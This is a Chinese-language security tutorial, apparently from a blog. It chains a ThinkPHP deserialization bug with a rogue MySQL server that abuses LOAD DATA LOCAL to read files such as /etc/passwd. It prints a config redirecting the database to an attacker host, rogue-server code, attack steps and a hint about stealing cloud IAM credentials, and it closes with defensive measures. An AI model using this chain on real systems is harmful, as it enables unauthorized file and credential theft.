CTF靶场里的骚操作:用Rogue MySQL Server在ThinkPHP里读任意文件
协议层渗透的艺术:ThinkPHP反序列化与Rogue MySQL Server的碰撞
当传统SQL注入遭遇WAF拦截,当常规写Shell路径被严格过滤,安全研究者需要跳出思维定式,从协议层寻找突破口。本文将深入探讨一种在CTF靶场和真实渗透测试中都极具价值的技巧——通过伪造MySQL服务端实现任意文件读取,并结合ThinkPHP反序列化漏洞完成攻击链闭环。
1. 非常规攻击面的价值发现
在Web安全领域,反序列化漏洞常被视为"皇冠上的明珠",而ThinkPHP作为国内广泛使用的框架,其历史版本的反序列化漏洞更是研究热点。但大多数分析都集中在常规的POP链构造和内存操作上,忽略了数据库协议层这个隐藏的攻击面。
为什么选择Rogue MySQL Server?
- 绕过WAF对SQL语句的检测(不依赖特殊字符)
- 突破
secure_file_priv等MySQL安全配置限制 - 在仅有数据库连接权限时扩展攻击面
- 实现从数据库协议到文件系统的权限跨越
典型攻击场景示例:
[ThinkPHP反序列化] → [触发数据库连接] → [重定向到恶意MySQL服务] → [读取/etc/passwd或flag]
2. 技术原理深度剖析
2.1 MySQL协议握手过程解密
MySQL客户端与服务端的交互始于精心设计的握手协议。攻击者要伪造服务端,必须精确模拟以下阶段:
-
初始握手包
服务端发送协议版本号、线程ID、挑战随机数等数据:45 00 00 00 0a 35 2e 31 2e 36 33... -
客户端认证响应
包含用户名、密码(scramble)和客户端能力标志 -
服务端确认阶段
通过OK包或ERR包响应认证结果
关键突破点在于: 当客户端启用 LOCAL_INFILE 时,服务端可以发送 LOAD DATA LOCAL 请求读取客户端文件 。
2.2 ThinkPHP中的致命组合
在ThinkPHP 3.2.3中,存在两个危险特性:
-
反序列化触发点
// 控制器中存在未经检查的反序列化操作 $data = unserialize(file_get_contents('php://input')); -
数据库配置硬编码
class Model { protected $db; public function __construct() { $this->db = new Mysql([ 'hostname' => '127.0.0.1', 'username' => 'root', 'password' => 'root' ]); } }
通过精心构造的POP链,我们可以控制数据库连接指向攻击者服务器:
namespace Think\Db\Driver;
class Mysql {
protected $config = [
'hostname' => 'attacker-ip',
'hostport' => '3307',
'database' => 'test',
'username' => 'exploit',
'password' => 'p@ssw0rd'
];
}
3. 实战:构建恶意MySQL服务
3.1 工具链准备
推荐使用allyshka改进的Rogue-MySql-Server工具:
git clone https://github.com/allyshka/Rogue-MySql-Server.git
cd Rogue-MySql-Server
关键参数调整:
// 修改监听端口(避免与真实MySQL冲突)
$srv = stream_socket_server("tcp://0.0.0.0:3307");
// 设置默认读取文件
$filename = "/etc/passwd";
3.2 协议模拟关键代码
// 发送初始握手包
fwrite($s, unhex('45 00 00 00 0a 35 2e 31...'));
// 处理客户端认证
fread($s, 8192);
fwrite($s, unhex('07 00 00 02 00 00 00 02...'));
// 触发文件读取
fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
注意:需确保服务器防火墙放行指定端口,云主机需配置安全组规则
3.3 攻击流程分解
-
在VPS启动恶意服务:
php rogue_mysql.php -
构造反序列化Payload:
import requests import base64 payload = generate_serialized_payload() # 省略POP链构造细节 requests.post(target_url, data=payload) -
观察服务端输出:
[+] Connection from 192.168.1.100 - greet... auth ok... want file... [+] /etc/passwd content: root:x:0:0:root:/root:/bin/bash ...
4. 防御策略与检测方案
4.1 开发者防护建议
| 防护层面 | 具体措施 |
|---|---|
| 框架配置 | 禁用 PDO::MYSQL_ATTR_LOCAL_INFILE |
| 代码安全 | 避免反序列化用户输入 |
| 网络层面 | 限制数据库外连行为 |
| 服务加固 | 设置 secure_file_priv=NULL |
4.2 检测Rogue Server的三种方法
-
网络流量分析
检测异常MySQL握手特征:tcp.port==3306 && mysql.protocol_version==10 && !(ip.src==known-db-servers) -
客户端行为监控
记录异常的LOAD DATA LOCAL请求 -
服务端指纹识别
对比合法MySQL服务的响应特征
5. 攻击手法演进与变种
在真实渗透测试中,这种技术可以进一步扩展:
-
SSRF配合内部数据库探测
SSRF → 内网MySQL → 伪造服务端 → 读取配置文件 -
结合XXE实现链式攻击
XXE → 读取数据库凭证 → 触发恶意连接 -
云环境下的元数据利用
通过读取/proc/self/environ获取IAM临时凭证
这种从协议层发起的攻击,往往能绕过传统WAF的规则检测,为红队测试提供新的突破口。在最近某次企业级渗透中,正是利用该技术成功获取了Jenkins的master key,最终拿下了整个CI/CD系统的控制权。
更多推荐

所有评论(0)